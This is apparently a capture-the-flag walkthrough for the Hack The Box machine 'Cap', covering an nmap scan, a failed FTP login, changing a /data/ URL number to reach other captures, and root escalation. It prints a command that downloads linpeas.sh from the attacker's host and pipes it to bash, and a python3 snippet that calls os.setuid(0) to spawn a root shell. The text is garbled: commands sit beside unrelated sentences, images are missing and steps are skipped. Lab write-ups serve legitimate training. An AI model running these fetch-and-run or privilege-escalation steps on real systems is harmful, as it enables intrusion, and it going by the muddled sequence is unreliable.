This is a walk through of how to complete the machine Cap on Hack The Box.
First we start the machine on hackthebox.eu. Once the machine is started you can ping it at 10.10.10.245 to make sure it is up and alive. Once you’ve confirmed that, move on to your nmap scan.
|
What the above scan does is below.
-sC: equivalent to --script=default which is looking for common vulnerabilities.
-sV: Probe open ports to determine service/version info.
-oA basename: Output in the three major formats at once
and of course the ip address is needed. I run this type of scan so that I have the output saved so I can import it into searchsploit if I need to later on.
What the scan above gave us is below
Port | Service |
21 | ftp |
22 | ssh |
80 | http |
So now we move on to the nitty gritty here. We seen that in the nmap scan that this machine is hosting an ftp (File transfer protocol), ssh (secure shell), and a webserver. So first I will attempt to login to the machine via ftp as a lot of times ftp is set to allow anonymous login. As you can see they did lock down ftp to not allow anonymous login, and well ssh will require a password no matter what. So we will go to the website and see what we find.
When I open a browser and go to the IP address of 10.10.10.245 and see the image below.
So lets just skip right over SSH since that will require a password anyhow and ftp has failed for now. From this we can see that it landed on a webpage that looks like it host some kind of SIEM for incident response. I can click on the user and attempt to logout however it does nothing. Notice that it is auto logged in to "Nathan".
So if you happen to notice I highlighted something of interest in the source code. Why did I find this of interest? Well I wanted to see why “News” didn’t take us anywhere. With this I found that News is tied to a php file that looks like it points back to the webserver to pull it down. This took us to
So I wonder if I change the address from "http://10.10.10.245/data/1" to some other number if I can view other users pcaps or access something more of interest. Seeing as how this was a 1 at the end I decided to see if there was a "data/0". Come to find out there was!python3 -m http.server 4444 |
So we will open another browser tab and try to browse to this news.php file using the ip address as below.
curl http://10.10.15.16/linpeas.sh | bash |
To see what the curl script did I have posted that image below
mkdir tmp$ && cd tmp\$/ |
Moving on I will run a simple command that will allow me to use python and take over root user.
/usr/bin/python3.8 |
import os |
os.setuid(0) |
os.system("/bin/bash") |
Happy hacking everyone!
Videos: